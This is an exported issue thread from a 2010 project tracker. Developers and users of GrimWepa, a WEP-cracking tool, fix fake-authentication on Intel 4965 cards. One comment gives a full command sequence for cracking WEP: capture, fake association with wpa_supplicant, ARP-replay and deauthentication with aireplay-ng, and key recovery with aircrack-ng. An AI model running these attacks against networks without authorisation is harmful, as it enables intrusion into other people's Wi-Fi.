No support for fake-auth with intel chipset (iwl4965)

[GoogleCodeExporter]

mixit on BT4 forums suggested this; said it was difficult to implement.

Remote Exploit covered this flaw in the iwl4965 chipset in depth (15 pages
long) at this link:
[http://forums.remote-exploit.org/bt4beta-working-hardware/20119-4965-agn.html
http://forums.remote-exploit.org/bt4beta-working-hardware/20119-4965-agn.html].

A work-around would require (upon failed fake-authentication):

 - check to see if chipset is iwl4965 (via airmon-ng)

 - creation of conf file (fake.conf) containing:

network={
ssid="NAME_OF_AP"
key_mgmt=NONE
wep_key0="fakeauth"
}

   where "NAME_OF_AP" is the name of the access point in quotes.

 - running wpa_supplicant with this conf file.

Further steps will be covered once they are reached.

Original issue reported on code.google.com by der...@gmail.com on 2 Mar 2010 at 3:03

[GoogleCodeExporter]

I will second this. I have iwl4965 and this would be a very welcomed fix.

Thanks for all your hard work. I love the program.

Original comment by tpzeg...@gmail.com on 5 Mar 2010 at 2:46

[GoogleCodeExporter]

It's good to know there's other people that would use this feature.

I've uploaded a new version (technically it's GrimWepa v1.01 Beta), it is my 
second
stab at fixing the fake-auth on Intel 4965 chipsets.

To download the new install script, change permissions, and run the script 
which will
download/install the new version of GrimWepa, copy/paste this:
{{{
wget http://grimwepa.googlecode.com/files/grimstall.sh
chmod 755 grimstall.sh
./grimstall.sh install

}}}

After starting the attack on the Intel 4965 chipset, and failing the
fake-authentication, GrimWepa *should* prompt to you that you are using the 
Intel
4965 chipset, and then ask if you want to try the wpa_supplicant fix.  
Select "Yes" and wait to see if your MAC address appears in the airodump-ng 
window... 

If this doesn't fake-authenticate for you, let me know!
If this DOES fake authenticate, let me know!!

After we have it working 100%, I'll remove the prompt so it automatically uses
wpa_supplicant.

Also, if it fails, *before you stop the attack*, see if GrimWepa created a 
fake.conf
file in the same location as the .jar file.

Original comment by der...@gmail.com on 5 Mar 2010 at 4:18

• Changed state: Started
• Added labels: Priority-High
• Removed labels: Priority-Medium

[GoogleCodeExporter]

I grabbed the beta and the workaround does not seem to be working. I can't get 
any
IVs when using the 4965 chipset. I did notice, however, that the fake.conf file 
that
is generated is not putting the wep_key0 variable in quotations. I am not sure 
if
this makes a difference, but the variable is in quotations in all the scripts I 
have
seen and in the example you posted above. Hope this helps. Thanks for a great 
tool.

Original comment by DavidCMo...@gmail.com on 5 Mar 2010 at 9:39

[GoogleCodeExporter]

I will also add that the workaround posted in the bt thread does work for me:

/dev/init.d/networking start

startx

airmon-ng start wlan0
airodump-ng mon0
ctrl+c
airodump-ng -c 'AP Channel' -w 'filename' --bssid 'AP bssid' mon0
make a file in the root (destkop) fake.conf:

network={
ssid="SSID" <-- change this in your target ssid
key_mgmt=NONE
wep_key0="fakeauth"
}

wpa_supplicant -c fake.conf -i wlan0 -Dwext -B

aireplay-ng -3 -b 'AP bssid' mon0
aireplay-ng -0 1 -a 'AP bssid' mon0

aircrack-ng -b BSSID capfile-01.cap

Original comment by DavidCMo...@gmail.com on 5 Mar 2010 at 10:02

[GoogleCodeExporter]

@DavidCMolnar (and anyone else)...

Thanks for the feedback... I've made the change to include quotes and it's 
attached
to this post...

I'm looking at the above script, and I think the problem is GrimWepa is trying 
to use
wpa_supplicant on MON0 (the selected wifi device), rather than the original 
WLAN0...
this could be quite a tricky situation!

The program should *now* prompt for the user to enter the wireless card that was
original used (wlan0 in most cases).

I'm going to use trial-and-error to solve this problem with the Intel 4965 
workaround.

I hate to keep posting version-after-version on the site... and it's going to 
be more
difficult to track which version works!  I can keep attaching mini-revisions to 
these
comments if it works for you guys... otherwise we could do the e-mail thing...

I would like to get immediate feedback, and hope to solve this problem 
*tonight*!

Derv

Original comment by der...@gmail.com on 6 Mar 2010 at 1:56

Attachments:

• grimwepa_1.02b.jar

[GoogleCodeExporter]

I think you nailed it with the latest patch! Thanks for the quick update. It 
seems to
properly hook the wpa_supplicant and I am getting IVs using the ARP-Replay 
attack
which I was not getting in V1.0. Thanks for the quick patch!

Original comment by DavidCMo...@gmail.com on 6 Mar 2010 at 3:32

[GoogleCodeExporter]

Awesome!  Glad to hear it works for you... I've already updated v1.0 in the 
Downloads
section to include this revision.  I'll try to wait for more positive reports 
before
bragging about it :P

Now, for the questions:

* Does everyone who has the Intel 4965 wireless card use "wlan0" ?

* Is the Intel 4965 chipset popular because it a built-in wifi card on laptops? 
 Is
it safe to assume that people who have the iwl4965 card have it as wlan0?

* Should I automatically have GrimWepa assume the user has wlan0 as the 
interface for
the Intel card, so as to speed up the cracking process?

* If you think there's a chance someone DOESN'T use wlan0, I can keep the 
program as
it is: requiring user input before fake-authenticating...

* ..Otherwise, I will force the program to use wlan0 so you don't have to see 
the
confirmation dialog every time.

I wish I knew these things and didn't have to ask :\

I hope you guys don't mind -- just trying to make it better suited for you!

Original comment by der...@gmail.com on 6 Mar 2010 at 5:01

• Changed state: Fixed

[GoogleCodeExporter]

Hi All, 

Im one of the unlucky guys with an intel 4965 AGN :-) there are a couple of 
points 
here. (and my good Realtek card is at home and im on business trip for 2 months 
) 

first is the wpa_supplicant workaround present in the latest version 1.10a5.jar 
? 
Because i start it with the -v switch and i dont see any output in the 
commandline 
log that the wpa_supplicant is started. I also don't see any association in the 
airodump window.

in version 1.0 its asking for the wlan0 interface but its not working for my 
configuration .. (have the latest svn from aircrack ) by doing it the old 
fashioned 
way it works. but honestly i hate typing

2) question ... does anybody know if it is confirmed that with Version > 1573 
SVN 
aircrack the fake auth is working without the wpa_*****ant stuff. 

thanks folks

i appreciate feedback

Joe 

Original comment by icq70...@gmail.com on 2 Jun 2010 at 10:39